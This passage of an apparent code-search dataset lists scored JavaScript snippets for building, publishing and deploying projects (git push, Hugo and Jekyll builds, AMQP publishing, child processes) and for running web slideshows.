{\n ENV: 'PROD',\n BASE: process.env.BASE,\n URL: process.env.URL,\n APPIDDEV: process.env.APPIDDEV,\n APPIDPROD: process.env.APPIDPROD,\n ENDPOINT: process.env.ENDPOINT,\n TOKEN: process.env.TOKEN,\n COOKIE: process.env.COOKIE,\n REFERER: process.env.REFERER\n }\n });\n}", "title": "" }, { "docid": "187e851d49b70181acc5f491cd490830", "score": "0.48895824", "text": "deployToRemoteHexo() {\n const hexoDeployer = spawn('hexo', ['--cwd', CFG.LOCAL_HEXO_PATH, 'generate', '-d']);\n\n hexoDeployer.stdout.on('data', (data) => {\n console.log(`Hexo: ${data}`.green);\n });\n\n hexoDeployer.stderr.on('data', (data) => {\n console.error(`Hexo Error: ${data}`.red);\n });\n\n hexoDeployer.on('close', (code) => {\n console.info(`Hexo process exited with code: ${code}`.yellow);\n });\n }", "title": "" }, { "docid": "7b9a72b3dcc2952793bf0dc2a316bb89", "score": "0.48855188", "text": "publish(channelName, ...args) {\n if (channelName && channelName !== '') {\n const channel = this.getChannel(channelName, true);\n if (channel && channel.namespace === channelName) {\n args.push(channel);\n channel.publish(args);\n }\n }\n }", "title": "" }, { "docid": "c4619ac09b5748e370a1c43e23cd2ce1", "score": "0.4882912", "text": "function publishPackage(project, bundle, manifest)\n{\n var targets = enumerateTargets(bundle);\n for (var i = 0, n = targets.length; i < n; ++i)\n {\n var tgt = bundle.targetPlatform(targets[i]);\n publishTarget(project, bundle, tgt, manifest);\n }\n}", "title": "" }, { "docid": "20ed958ae43556524394423e8396b78f", "score": "0.48787636", "text": "async function copy() {\n await makeDir('build');\n await Promise.all([\n writeFile('build/package.json', JSON.stringify({\n private: true,\n engines: pkg.engines,\n dependencies: pkg.dependencies,\n scripts: {\n start: 'node server.js',\n },\n }, null, 2)),\n copyDir('src/messages', 'build/messages'),\n ]);\n}", "title": "" }, { "docid": "cefe979631c7cc102ddbeb04c7d8f6cb", "score": "0.487599", "text": "start(args, stdout, stderr) {\n return new Promise((resolve) => {\n const command = this._command;\n const options = { cwd: this._cwd };\n const exit = (code) => {\n resolve(code);\n }\n\n this._makeProcess({command, args, stdout, stderr, exit, options}, resolve);\n });\n }", "title": "" }, { "docid": "4dd8a13104f877651ca67ff4d6d136d6", "score": "0.4863015", "text": "function publish(channel, exchange, routingKey, content) {\n var deferred = bb.defer()\n try {\n channel.publish(exchange, routingKey, content, { persistent: true }, function (err, ok) {\n if (err) {\n deferred.reject(err)\n errorlog('[AMQP publish]', err)\n offlinePubQueue.push([exchange, routingKey, content])\n channel.connection.close()\n } else {\n deferred.resolve()\n }\n })\n } catch (e) {\n errorlog('[AMQP publish] %s', err.message)\n offlinePubQueue.push([exchange, routingKey, content])\n deferred.reject(e)\n }\n return deferred.promise\n}", "title": "" }, { "docid": "5381c9667526da17ada8f4ed1400f80a", "score": "0.48594424", "text": "function publish(exchange, routingKey, content) {\n try {\n pubChannel.publish(exchange, routingKey, content, {persistent: true},\n function (err, ok) {\n console.log(\"[AMQP] publish\", ok);\n if (err) {\n console.error(\"[AMQP] publish\", err);\n offlinePubQueue.push([exchange, routingKey, content]);\n pubChannel.connection.close();\n }\n });\n } catch (e) {\n console.error(\"[AMQP] publish\", e.message);\n offlinePubQueue.push([exchange, routingKey, content]);\n }\n}", "title": "" }, { "docid": "e0e5cbab52cbbd577e9835a18c235e68", "score": "0.48579314", "text": "function release(path, version, callback) {\n var command = 'cd ' + path + ' && git add --all . && ' +\n 'git commit . -m ' +\n '\"Update release notes for ' + version + ' release\" && ' +\n 'git checkout production && git merge master &&' +\n 'git tag -a ' + version + ' -m \"Version ' + version + ' release\" &&' +\n 'git push origin master && git push origin production && ' +\n 'git push origin --tags';\n\n exec(command, callback);\n}", "title": "" }, { "docid": "5cb7fcd1c2e4673de084db972dd420f8", "score": "0.48511267", "text": "function npmRun(callback) {\n var basePath = self._state[\"pio.service\"].originalPath;\n\n var command = \"npm start\";\n if (self._state[\"pio.service\"].scripts.run) {\n command = \"npm run-script run\";\n }\n\n var env = {};\n for (var name in process.env) {\n env[name] = process.env[name];\n }\n for (var name in self._state[\"pio.service\"].env) {\n env[name] = self._state[\"pio.service\"].env[name];\n }\n\n if (options.dev) {\n // POLICY: Setting `DEV` environment variable (initially to `1`) enables\n // debug mode which enables debugging and loads original sources just in time.\n env.DEV = \"1\";\n }\n\n if (options.deeperArgs && options.deeperArgs.length > 0) {\n command += \" -- \" + options.deeperArgs.join(\" \");\n }\n\n console.log((\"Calling `\" + command + \"` (cwd: \" + basePath + \")\").magenta);\n\n var proc = SPAWN(command.split(\" \").shift(), command.split(\" \").slice(1), {\n cwd: basePath,\n env: env,\n stdio: \"inherit\"\n });\n return proc.on('close', function (code) {\n if (code !== 0) {\n console.error(\"ERROR: `\" + command + \"` exited with code '\" + code + \"'\");\n return callback(new Error(\"`\" + command + \"` script exited with code '\" + code + \"'\"));\n }\n console.log((\"`\" + command + \"` for '\" + basePath + \"' done!\").green);\n return callback(null, {success: true});\n });\n }", "title": "" }, { "docid": "dc5e0bc70419f42ffd8c6b783b6c4349", "score": "0.48509878", "text": "_makeProcess(settings, resolve) {\n let process = new BufferedProcess(settings)\n process.onWillThrowError((error) => {\n if (this._showError) {\n const name = this._name;\n atom.notifications.addFatalError(`Couldn't launch ${name} (${this._command}).`, {\n detail: `Please make sure that ${name} is installed, and either put it into your PATH or enter its location in the plugin settings.`\n });\n this._showError = false;\n }\n error.handle();\n resolve();\n });\n return process;\n }", "title": "" }, { "docid": "f5c90824409589d97645d81bb38b1eb2", "score": "0.48476717", "text": "function updateSoftware() {\n childProcess = exec('cd ' + __dirname + '; git pull', function (error, stdout, stderr) {\n console.log('stdout: ' + stdout);\n console.log('stderr: ' + stderr);\n if (error !== null) {\n console.log('exec error: ' + error);\n }\n process.exit();\n });\n}", "title": "" }, { "docid": "017fda4acd5be6c15f7f28338ab06300", "score": "0.4844907", "text": "async runPostBuildTasks () {\n // Create an array of tasks that can be ran asynchronously after graph build\n // if that occurs. This allows an OTP server to be started right away\n // without having to wait for other tasks that need to occur after graph\n // builds.\n const postBuildTasks = []\n\n // start server if needed\n if (this.manifest.runServer) {\n // make running the server the very first post build task\n postBuildTasks.push(this.startServer())\n }\n\n // add various follow-up tasks to graph building that can occur\n // independently of the server startup\n if (this.manifest.buildGraph) {\n postBuildTasks.push(this.uploadGraphObj())\n postBuildTasks.push(this.uploadBuildLogs())\n postBuildTasks.push(this.createAndUploadBundle())\n postBuildTasks.push(this.uploadGraphBuildReport())\n }\n\n await Promise.all(postBuildTasks)\n }", "title": "" }, { "docid": "ebb3a3ca74e12773da4c42aa021c5dc9", "score": "0.48283964", "text": "function publish(queue, data) {\n // Return a promise that will resolve when the callback is executed. This\n // allows for usage of async/await by the consumer!\n return new Promise((resolve, reject) => {\n // create correlationId\n let correlationId = uuid.v4();\n\n // emit to queue. This will be converted to emit to the worker exchange\n // based on the proposed architecture.\n channel.publish('app', queue, new Buffer(data), { correlationId });\n\n // Create a callback lambda that resolves the current promise with the\n // results of the message!\n callbacks[correlationId] = (value) => resolve(value);\n });\n }", "title": "" }, { "docid": "1399fa4e79839da9b1584ff442f2a281", "score": "0.48208597", "text": "publish(channelName, ...args) {\n if (channelName && channelName !== '') {\n let channel = this.getChannel(channelName, true);\n if (channel && channel.namespace === channelName) {\n args.push(channel)\n channel.publish(args);\n }\n }\n }", "title": "" }, { "docid": "a5de3dae8fb967be3316f5e49e8f6ef5", "score": "0.4819429", "text": "async function build() {\n\tconst clock = timer(chalk.green(`build`));\n\n\tawait clean();\n\n\tawait Promise.all([\n\t\tmarkup(),\n\t\tstyles(),\n\t\tscripts(),\n\t\tgraphics(),\n\t\tstatics()\n\t]);\n\n\tclock();\n}", "title": "" }, { "docid": "1185dd99e2deb0787e50cd88270dd22d", "score": "0.48164394", "text": "runTasks() {\n this.janus.on('tasks:complete', this.createRelease.bind(this) );\n this.janus.emit('tasks:start'); \n }", "title": "" }, { "docid": "b6dd120c35d7c16b4ee3504708ab6178", "score": "0.48162577", "text": "preBuild(runtimeFolder, tag, onSuccess, onError) {\n let self = this;\n let preBuildScriptPath = runtimeFolder + \"/pre_build.sh\";\n if (fs.existsSync(preBuildScriptPath)) {\n console.log(\"Executing pre_build.sh...\");\n let execution = child.spawn(\"/bin/bash\", [preBuildScriptPath, tag, runtimeFolder]);\n execution.stderr.on('data', (data) => {\n console.log(\"stderr: \" + data.toString());\n });\n execution.stdout.on('data', (data) => {\n console.log(\"stdout: \" + data.toString());\n });\n execution.on('exit', (code) => {\n console.log(\"Pre-Build finished OK.\");\n if (code == 0) {\n self.runBuild(runtimeFolder, tag, onSuccess, onError);\n }\n else {\n onError(\"Pre-Build failed. Code:\" + code);\n }\n });\n }\n else {\n self.runBuild(runtimeFolder, tag, onSuccess, onError);\n }\n }", "title": "" }, { "docid": "11910231692bebaf6e4d5dfb195ff95a", "score": "0.4816021", "text": "function run()\n{\n //If the Process is already running, kill it.\n if( undefined !== child_proc )\n {\n\tchild_proc.kill();\n }\n\n //Create the Process\n child_proc = process.createChildProcess(\"./node\", [file] );\n sys.puts(\"Starting: \" + file);\n\n //Display Output\n child_proc.addListener(\"output\", function(data) {\n\tsys.puts(\"Output: \" + data);\n });\n //Display Error\n child_proc.addListener(\"error\", function(data) {\n\tsys.puts(\"Error: \" + data);\n });\n //Disply Exit\n child_proc.addListener(\"exit\", function(data) {\n\tsys.puts(\"Exit: \" + data);\n });\n\n}", "title": "" }, { "docid": "164de7da832708d403cd246ed80e7fe3", "score": "0.47983977", "text": "exec () {\n // check if is a empty folder\n if (!Utils.folderIsEmpty(process.cwd())) {\n this.printError('This command can only be executed when the directory is empty')\n return false\n }\n\n // create manifest.json file\n Utils.generateFileFromTemplate('manifest', {\n projectName: this.args.name,\n projectVersion: this.args.version\n }, `${process.cwd()}/manifest.json`)\n\n // create .gitignore file\n Utils.generateFileFromTemplate('gitignore', {}, `${process.cwd()}/.gitignore`)\n\n // create modules folder\n Utils.createFolder(process.cwd() + '/modules')\n let privateModulePath = process.cwd() + '/modules/private'\n Utils.createFolder(privateModulePath)\n Utils.generateFileFromTemplate('privateModule', {}, `${privateModulePath}/manifest.json`)\n Utils.createFolder(`${privateModulePath}/actions`)\n Utils.createFolder(`${privateModulePath}/tasks`)\n Utils.createFolder(`${privateModulePath}/config`)\n\n // create config folder\n Utils.createFolder(process.cwd() + '/config')\n\n // check if we need create a dockerfile\n if (this.args.dockerIt) {\n // luckily, we can execute the command directly\n require('./dockerIt').exec()\n }\n\n // print a success message\n this.printSuccess(`The directory was initiated with a Stellar project structure.\\nHappy Codding! 😉 🌟`)\n\n return true\n }", "title": "" }, { "docid": "277fbebb4dff16b1eaf79ff7ed9e2e30", "score": "0.4792284", "text": "function run_script(command, args) {\n dialog.showMessageBox({\n title: 'S3DonwloadClient',\n type: 'info',\n message: 'Your download is in progress.\\r\\n'\n });\n var child = child_process.spawn(command, args, {\n encoding: 'utf8',\n shell: true\n });\n // You can also use a variable to save the output for when the script closes later\n child.on('error', (error) => {\n dialog.showMessageBox({\n title: 'S3DonwloadClient',\n type: 'warning',\n message: 'Error occured.\\r\\n' + error\n });\n });\n\n child.stdout.setEncoding('utf8');\n child.stdout.on('data', (data) => {\n //Here is the output\n data=data.toString(); \n console.log(data); \n });\n\n child.on('close', (code) => {\n //Here you can get the exit code of the script \n switch (code) {\n case 0:\n dialog.showMessageBox({\n title: 'S3DonwloadClient',\n type: 'info',\n message: 'End process.\\r\\n'\n });\n break;\n }\n\n });\n\n}", "title": "" }, { "docid": "137b350ac0e2e4d06c25fa1423baf76a", "score": "0.47900817", "text": "function upload() {\n return gulp.src(\"./build/**/*\")\n .pipe(ghPages());\n}", "title": "" }, { "docid": "77da12a43731cc1c4e2ba617c1d78ea2", "score": "0.47890475", "text": "function spawnWithCallback(workingDirectory, argv, envp, flags, childSetup, callback) {\n let [success, pid, stdinFile, stdoutFile, stderrFile] = GLib.spawn_async_with_pipes(\n workingDirectory, argv, envp, flags, childSetup);\n\n if (!success)\n return;\n\n GLib.close(stdinFile);\n GLib.close(stderrFile);\n\n let standardOutput = \"\";\n\n let stdoutStream = new Gio.DataInputStream({\n base_stream: new Gio.UnixInputStream({\n fd: stdoutFile\n })\n });\n\n readStream(stdoutStream, function(output) {\n if (output === null) {\n stdoutStream.close(null);\n callback(standardOutput);\n } else {\n standardOutput += output;\n }\n });\n}", "title": "" }, { "docid": "bde15cdf88b60fc8d1e42b4cfb6ed647", "score": "0.47858664", "text": "async function execute(cmd, args, { cwd }) {\n const child = childProcess.spawn(cmd, args, { cwd, shell: true, stdio: ['ignore', 'pipe', 'inherit'] });\n let stdout = '';\n child.stdout.on('data', chunk => stdout += chunk.toString());\n return new Promise((ok, fail) => {\n child.once('error', err => fail(err));\n child.once('exit', status => {\n if (status === 0) {\n return ok(stdout);\n }\n else {\n process.stderr.write(stdout);\n return fail(new Error(`${cmd} exited with status ${status}`));\n }\n });\n });\n}", "title": "" }, { "docid": "962405f7703dd87af1d577cc065259c2", "score": "0.47852886", "text": "async function processChildStream (childStream) {\n let targetUri = uri\n if (!isInitialized) {\n targetUri += '?init=1'\n isInitialized = true\n }\n const writeStream = hyperquest.post(targetUri)\n // manually pipe in data so we dont propagate the end event\n writeStream.on('data', (data) => outStream.write(data))\n // manually propagate the error event\n writeStream.on('error', (err) => outStream.emit('error', err))\n\n await pumpAsync(\n childStream,\n writeStream\n )\n }", "title": "" }, { "docid": "710e452e67aed80f596358ea4800aae7", "score": "0.4779525", "text": "function startPublisher (callback) {\n amqpConn.createConfirmChannel(function (err, ch) {\n if (closeOnErr(err)) return\n ch.on('error', function (err) {\n errorlog('[AMQP] channel error %s', err.message)\n })\n ch.on('close', function() {\n info('[AMQP] channel closed')\n })\n callback(ch)\n })\n}", "title": "" }, { "docid": "a48aba1b30292da31481e17ece2d11bb", "score": "0.4767553", "text": "process() {\n this.notifySystems();\n this.processSystems();\n }", "title": "" }, { "docid": "39a9b6d969ea67353a649ddae8081799", "score": "0.47642127", "text": "function build () {\n console.log('Moving package.json into dist directory...')\n\n const package = {\n name: source.name,\n version: source.version,\n description: source.description,\n main: source.main.replace(/^dist\\//, ''),\n repository: source.repository,\n author: source.author,\n license: source.license\n }\n \n fs.writeFileSync('./dist/package.json', JSON.stringify(package, null, 2) + \"\\r\\n\", 'utf8')\n console.log('Done.')\n}", "title": "" }, { "docid": "ba2d26ac7a46d528a40c0c75e4536d37", "score": "0.476234", "text": "build(runtimeFolder, tag) {\n return new Promise((resolve, reject) => {\n // console.log(\"Runtime.build()\");\n this.preBuild(runtimeFolder, tag, resolve, reject);\n });\n }", "title": "" }, { "docid": "fb6624874f9236c3498a9c0c4a014a9c", "score": "0.4750589", "text": "function publishRootPackage(ver) {\n var _package = build.readDocument('package.json');\n var m = build.readMetadata('.');\n m.version = ver;\n build.writeMetadata('.', m);\n build.publish('.');\n try { build.publishGithub('.', owner); }\n catch {}\n build.writeDocument(_package);\n}", "title": "" }, { "docid": "524c7ba686b22783decb024ac003d25f", "score": "0.47326258", "text": "deployToRemoteRepo(msg = '') {\n exec(`git add --all && git commit -m ${msg} && git push`, { cwd: CFG.LOCAL_REPO_PATH }, (err, stdout, stderr) => {\n if (err) {\n console.error(err.red);\n } else {\n console.log(`Repo Deploying: ${stdout}`.green);\n console.error(`Repo Deploying Error: ${stdout}`.red);\n }\n });\n }", "title": "" }, { "docid": "265ffe9d1a5189bb50e6fddc1a491725", "score": "0.47300214", "text": "run(args, transformer) {\n return new Promise((resolve) => {\n const command = this._command;\n\n let out = \"\";\n let err = \"\";\n\n const stdout = (text) => { out += text; }\n const stderr = (text) => { err += text; }\n const options = { cwd: this._cwd };\n const exit = (code) => {\n const result = transformer ? transformer(code, out, err) : { code, out, err };\n resolve(result);\n }\n\n this._makeProcess({command, args, stdout, stderr, exit, options}, resolve);\n });\n }", "title": "" }, { "docid": "3cfd93c94b8fd6ba46d986d9d1f55621", "score": "0.4729063", "text": "writing() {\n // This will not match in callback of\n // getBuild so store it here.\n var _this = this;\n var done = this.async();\n\n app.getBuild(this, function (result) {\n var build = _this.templatePath(result);\n\n // if (_this.type === `custom`) {\n // build = path.join(_this.customFolder, result);\n // }\n\n var args = {\n pat: _this.pat,\n tfs: _this.tfs,\n buildJson: build,\n queue: _this.queue,\n target: _this.target,\n botName: _this.botName,\n project: _this.botName\n };\n\n if (util.isDocker(_this.target)) {\n args.dockerHost = _this.dockerHost;\n args.dockerRegistry = _this.dockerRegistry;\n args.dockerRegistryId = _this.dockerRegistryId;\n }\n\n app.run(args, _this, done);\n });\n }", "title": "" }, { "docid": "de2b6226c938b900332ffb766c58695a", "score": "0.47269222", "text": "async function startPipeline(resourceToPublish){\n let doc = new rdfaDomDocument(resourceToPublish.rdfaSnippet);\n let contexts = analyse( doc.getTopDomNode() );\n let triples = flatTriples(contexts.map((c) => c.context));\n triples = preProcess(triples);\n\n await insertZitting(triples, resourceToPublish);\n await insertAgenda(triples, resourceToPublish);\n await insertUittreksel(triples, resourceToPublish, doc, contexts);\n await insertBesluitenlijst(triples, resourceToPublish);\n await insertNotulen(triples, resourceToPublish, doc, contexts);\n}", "title": "" }, { "docid": "6254ffe25cf36fc16d49cb441a5c87de", "score": "0.47236806", "text": "async spawn(cmd, options) {\n return new Promise((resolve, reject) => {\n options = options || {};\n options.shell = true;\n options.cwd = this.cwd;\n let child = child_process.spawn(cmd, options);\n\n if (options.stdio != \"ignore\" )\n {\n // child.stderr.on('data', (error) => {\n // console.error(error.toString());\n // reject({err: error.toString() });\n // });\n }\n\n if( options.detached )\n {\n // explicitly detach from parent so parent does not wait on us.\n child.unref();\n }\n\n // child.stdout.on('data', (data) => {\n // console.log(data);\n // });\n resolve({pid: child.pid });\n });\n }", "title": "" }, { "docid": "6523e8e7e1b5de24a2b080bef57f8f2a", "score": "0.47212535", "text": "function jekyll() {\n return child_process.spawn(\"bundle\", [\"exec\", \"jekyll\", \"build\", \"--profile\",\"JEKYLL_ENV=production\"], { stdio: \"inherit\" });\n}", "title": "" }, { "docid": "60306c5c53e2ff3d90056599ee432839", "score": "0.47171718", "text": "function buildSite(cb, options, environment = \"development\") {\n const args = options ? hugoArgsDefault.concat(options) : hugoArgsDefault;\n\n process.env.NODE_ENV = environment;\n\n return spawn(hugoBin, args, {stdio: \"inherit\"}).on(\"close\", (code) => {\n if (code === 0) {\n browserSync.reload();\n cb();\n } else {\n browserSync.notify(\"Hugo build failed :(\");\n cb(\"Hugo build failed\");\n }\n });\n}", "title": "" } ]
e6ee3d5a34d9dd12e1dbb985eb85de02
Return media screen to slides
[ { "docid": "f47a6c4e1a8b930ca59fb8aae23d4c59", "score": "0.6295387", "text": "mediaScreenSlides () {\r\n if ($(window).width() >= 992) {\r\n return this.activeSlidesLg\r\n } else if ($(window).width() >= 768) {\r\n return this.activeSlidesMd\r\n } else if ($(window).width() < 768 && $(window).width() >= 576) {\r\n return this.activeSlidesSm\r\n } else if ($(window).width() < 576) {\r\n return this.activeSlidesXs\r\n }\r\n }", "title": "" } ]
[ { "docid": "5bbefa7d3015a1d247119f2b7c0b2d2d", "score": "0.6512506", "text": "getSlides() {}", "title": "" }, { "docid": "b8c0e6e01f09979a2979acd5bd9e570b", "score": "0.6330272", "text": "function showMe() {\n slideToPage(0);\n player.seekTo(0);\n}", "title": "" }, { "docid": "6a558d367da697d5da23c318238d1a70", "score": "0.62560123", "text": "function play() {\n this.incrementSlide();\n }", "title": "" }, { "docid": "f45c59b2b4688093b2b6387bfc783e81", "score": "0.6129519", "text": "function autoPlay()\n{\n nextSlide();\n}", "title": "" }, { "docid": "49c219e76c406277ef1780b934e02d9e", "score": "0.6122332", "text": "function currentSlide(e) {\n showSlides(e.data.d);\n}", "title": "" }, { "docid": "32becdb41d2d15b28530ef9f73bab8a3", "score": "0.60804355", "text": "function slide(dir) {\n\n if (dir) {\n dir = dir.toLowerCase();\n }\n\n return function () {\n let win = slate.window();\n let slideTo = {\n x: win.rect().x,\n y: win.rect().y,\n width: win.rect().width,\n height: win.rect().height\n };\n let screen = slate.screen();\n let screenOriginX = screen.rect().x;\n let screenOriginY = screen.rect().y;\n let screenSizeX = screen.rect().width;\n let screenSizeY = screen.rect().height;\n\n switch (dir) {\n case 'up':\n if (slideTo.y - slideTo.height >= screenOriginY) {\n slate.log(`Sliding ${dir} by -${slideTo.height}: ${win.title()}`);\n slideTo.y -= slideTo.height;\n } else {\n slate.log('Move to the bottom of the screen');\n slideTo.y = screenOriginY + screenSizeY - slideTo.height;\n }\n break;\n case 'down':\n if (slideTo.y + 2 * slideTo.height <= screenOriginY + screenSizeY) {\n slate.log(`Sliding ${dir} by ${slideTo.height}: ${win.title()}`);\n slideTo.y += slideTo.height;\n } else {\n slate.log('Move to the top of the screen');\n slideTo.y = screenOriginY;\n }\n break;\n case 'left':\n if (slideTo.x - slideTo.width >= screenOriginX) {\n slate.log(`Sliding ${dir} by -${slideTo.width}: ${win.title()}`);\n slideTo.x -= slideTo.width;\n } else {\n slate.log('Move to the rightmost part of the screen');\n slideTo.x = screenOriginX + screenSizeX - slideTo.width;\n }\n break;\n case 'right':\n if (slideTo.x + 2 * slideTo.width <= screenOriginX + screenSizeX) {\n slate.log(`Sliding ${dir} by ${slideTo.width}: ${win.title()}`);\n slideTo.x += slideTo.width;\n } else {\n slate.log('Move to the left most part of the screen');\n slideTo.x = screenOriginX;\n }\n break;\n default:\n slate.log(`slide error: Bad direction ${dir} possible values are: up, down, right, left`);\n return function () {\n slate.log(`slide error: Bad direction ${dir} possible values are: up, down, right, left`);\n };\n }\n\n\n logCoords(slideTo);\n let op = slate.operation('move', slideTo);\n op.run();\n };\n}", "title": "" }, { "docid": "48fd17a20231c7e75344741481f36a3c", "score": "0.59135073", "text": "function current_slide(b) {\n show_slides(b);\n}", "title": "" }, { "docid": "1a3a128ff85ab2df2aa13a53a1e29afa", "score": "0.5887277", "text": "swipe_CarouselScreen_Right(){\n this.homescreen_CarouselContent.waitForExist();\n this.homescreen_CarouselContent.swipeRight(1000);\n browser.screenshot();\n browser.pause(3000);\n }", "title": "" }, { "docid": "de42d70cd19607a0f38433767620204f", "score": "0.58823204", "text": "function slideRest(){\n cpCmndTOCVisible = false;\n cp.show(thisPause);\n stayMute(); \n }", "title": "" }, { "docid": "b0db7b37cc429d271f4cfe65f976a664", "score": "0.5855759", "text": "function play() {\n\t\t\tif(settings.automaticSlide) {\n\t\t\t\tloopSlides();\n\t\t\t}\n\t\t\telse {\n\t\t\t\texecuteSlide(current_slide);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "32ad69338725f7eff730e08cf3ed5aec", "score": "0.5823603", "text": "function keepSlidesPosition(){\n var activeSlides = $(SLIDE_ACTIVE_SEL);\n for( var i =0; i<activeSlides.length; i++){\n silentLandscapeScroll(activeSlides[i], 'internal');\n }\n }", "title": "" }, { "docid": "c7bb4c7362aaa7c45093dc731a248be8", "score": "0.58207357", "text": "setActiveSlides () {\r\n let sliderContainer = $('#' + this.id)\r\n let allSlidersItems = $(sliderContainer).find('.slider__item')\r\n for (let i = 0; i < this.mediaScreenSlides(); i++) {\r\n $(allSlidersItems[i]).addClass('' + this.activeClass).removeClass('' + this.hiddenClass)\r\n this.setSlides(this.arr[this.counter])\r\n this.counter++\r\n }\r\n }", "title": "" }, { "docid": "d512bd34fbf307120d770cfff222e19f", "score": "0.5795461", "text": "swipe_CarouselScreen_Left(){\n this.homescreen_CarouselContent.waitForExist();\n this.homescreen_CarouselContent.swipeLeft(1000);\n this.homescreen_CarouselContent.pause(3000);\n this.homescreen_CarouselContent.swipeLeft(1000);\n browser.pause(3000);\n }", "title": "" }, { "docid": "dcfeeddedc1d0a00efaa3b1a49169efd", "score": "0.5795207", "text": "goNext() {\n if (this.swiper) this.swiper.slideNext();\n }", "title": "" }, { "docid": "0feab1ef8cdfec554a42b36860540cf2", "score": "0.579281", "text": "function slide() {\n\t\tindexh = updateSlides( HORIZONTAL_SLIDES_SELECTOR, indexh );\n\t\tindexv = updateSlides( VERTICAL_SLIDES_SELECTOR, indexv );\n\n\t\t// Update progress if enabled\n\t\tif( config.progress ) {\n\t\t\tdom.progressbar.style.width = ( indexh / ( document.querySelectorAll( HORIZONTAL_SLIDES_SELECTOR ).length - 1 ) ) * window.innerWidth + 'px';\n\t\t}\n\t\t\n\t\t// Close the overview if it's active\n\t\tif( overviewIsActive() ) {\n\t\t\tactivateOverview();\n\t\t}\n\n\t\tupdateControls();\n\t\t\n\t\tclearTimeout( writeURLTimeout );\n\t\twriteURLTimeout = setTimeout( writeURL, 1500 );\n\t}", "title": "" }, { "docid": "5c46d5f9e6338764fb92d143514265ff", "score": "0.5775416", "text": "function showSlide() {\n view.innerHTML = '';\n const imgUrl = slides[currentIndex];\n const img = document.createElement('img');\n img.setAttribute('src', './images/' + imgUrl);\n view.appendChild(img);\n }", "title": "" }, { "docid": "f3e5dfb8fdcd1f46b1873e9b08f3d075", "score": "0.57368", "text": "slideShow() {\n\n if (this.counter == this.images.length) {\n this.counter = 0;\n }\n image(this.images[this.counter], 0, 0, 640, 480);\n\n if (frameCount % 200 == 0) {\n this.counter++;\n }\n\n }", "title": "" }, { "docid": "dda163ca8c9db7317883dc450e47848a", "score": "0.57337785", "text": "function nextSlide() {\n slideshow.start();\n slideshow.next();\n}", "title": "" }, { "docid": "00830b34c14d67646fa839d0043e7773", "score": "0.5725138", "text": "next() {\n this.slide();\n }", "title": "" }, { "docid": "463bc229132ab915d4fb87725575783a", "score": "0.5716057", "text": "function changeSlides(direction) {\n moveItemOut(\n slides[currentSlideIndex],\n slides,\n \"slide-img slide-fade\",\n \"slide-img slide-offscreen-right\",\n 1000\n );\n\n if (direction === \"forward\") {\n moveItemIn(slides[nextSlideIndex], \"slide-img slide-visible\");\n currentSlideIndex = nextSlideIndex;\n nextSlideIndex =\n currentSlideIndex + 1 >= slides.length ? 0 : currentSlideIndex + 1;\n prevSlideIndex =\n currentSlideIndex - 1 < 0 ? slides.length - 1 : currentSlideIndex - 1;\n }\n if (direction === \"back\") {\n moveItemIn(slides[prevSlideIndex], \"slide-img slide-visible\");\n currentSlideIndex = prevSlideIndex;\n nextSlideIndex =\n currentSlideIndex + 1 >= slides.length ? 0 : currentSlideIndex + 1;\n prevSlideIndex =\n currentSlideIndex - 1 < 0 ? slides.length - 1 : currentSlideIndex - 1;\n }\n tabs.forEach(function(tab) {\n tab.className = \"slide-tab\";\n });\n if (tabs[0]) {\n tabs[currentSlideIndex].className = \"slide-tab slide-tab-active\";\n }\n clearInterval(moveSlides);\n moveSlides = setInterval(function() {\n changeSlides(\"forward\");\n }, slideTimer);\n}", "title": "" }, { "docid": "371a3f5884b384590f0711597306ce9e", "score": "0.5710151", "text": "function showSlides(object){\n\t\t// console.log(\"hhellow\",)\n\t\tnewSlide = \"\";\n\t\tvar counter = 1;\n\t\tfor (var i = 0; i < object.surfPics.length; i++) {\n\t\t\tnewSlide +=\t`<div id=\"${counter}\" class=\"hidden\">\n\t\t\t\t\t\t\t<img src=\"${object.surfPics[i].photo}\">\n\t\t\t\t\t\t\t<div class=\"text\">${object.surfPics[i].caption}</div>\n\t\t\t\t\t\t</div>`\n\t\t\t\t\t\tcounter++;\n\t\t}\n\t\t$(\".wrapper\").html(newSlide);\n\t\tconsole.log(\"newSlide\", newSlide);\n\t}", "title": "" }, { "docid": "d4d7b6d1739211b76f97a0f41cfd8751", "score": "0.57084584", "text": "function keepSlidesPosition(){\n $(SLIDE_ACTIVE_SEL).each(function(){\n silentLandscapeScroll($(this), 'internal');\n });\n }", "title": "" }, { "docid": "ab5f0d30728458cc910325551089ad4d", "score": "0.57020307", "text": "function startSlideShow(){\n if((\".rslides\").length > 0){\n $(\".rslides\").responsiveSlides({\n auto: false,\n pager: true,\n nav: true,\n speed: 500,\n maxwidth: 'auto',\n namespace: \"large-btns\",\n callback: function(){ \n $(\".rslides_container\").addClass(\"ready\");\n }\n });\n }\n }", "title": "" }, { "docid": "d566985fb53189bbe86378ed3157bb0b", "score": "0.5700208", "text": "function forMobile(x){\n if(x.matches){\n showSlides();\n }else{\n for (var i = 0 ;i<dots.length;i++){\n dots[i].style.display = \"none\";\n }\n }\n}", "title": "" }, { "docid": "d2b9d8cb50fd1d870fae75eb3699a048", "score": "0.5698778", "text": "function keepSlidesPosition(){\n $('.fp-slide.active').each(function(){\n silentLandscapeScroll($(this));\n });\n }", "title": "" }, { "docid": "e2dac55757b9d7cf3eae3fb48791fa13", "score": "0.56910837", "text": "function getSlides() {\n\t\t\treturn SLIDER.find(AIR).find(SLIDES).find(SLIDE);\n\t\t}", "title": "" }, { "docid": "5b00d41b84af54e0bb23416ab934116a", "score": "0.5690899", "text": "function keepSlidesPosition(){\r\n $(SLIDE_ACTIVE_SEL).each(function(){\r\n silentLandscapeScroll($(this), 'internal');\r\n });\r\n }", "title": "" }, { "docid": "5b00d41b84af54e0bb23416ab934116a", "score": "0.5690899", "text": "function keepSlidesPosition(){\r\n $(SLIDE_ACTIVE_SEL).each(function(){\r\n silentLandscapeScroll($(this), 'internal');\r\n });\r\n }", "title": "" }, { "docid": "5b00d41b84af54e0bb23416ab934116a", "score": "0.5690899", "text": "function keepSlidesPosition(){\r\n $(SLIDE_ACTIVE_SEL).each(function(){\r\n silentLandscapeScroll($(this), 'internal');\r\n });\r\n }", "title": "" }, { "docid": "5b00d41b84af54e0bb23416ab934116a", "score": "0.5690899", "text": "function keepSlidesPosition(){\r\n $(SLIDE_ACTIVE_SEL).each(function(){\r\n silentLandscapeScroll($(this), 'internal');\r\n });\r\n }", "title": "" }, { "docid": "c526a1e595380a764605d458cdc6452b", "score": "0.5658098", "text": "function slideShow()\r\n{\r\n 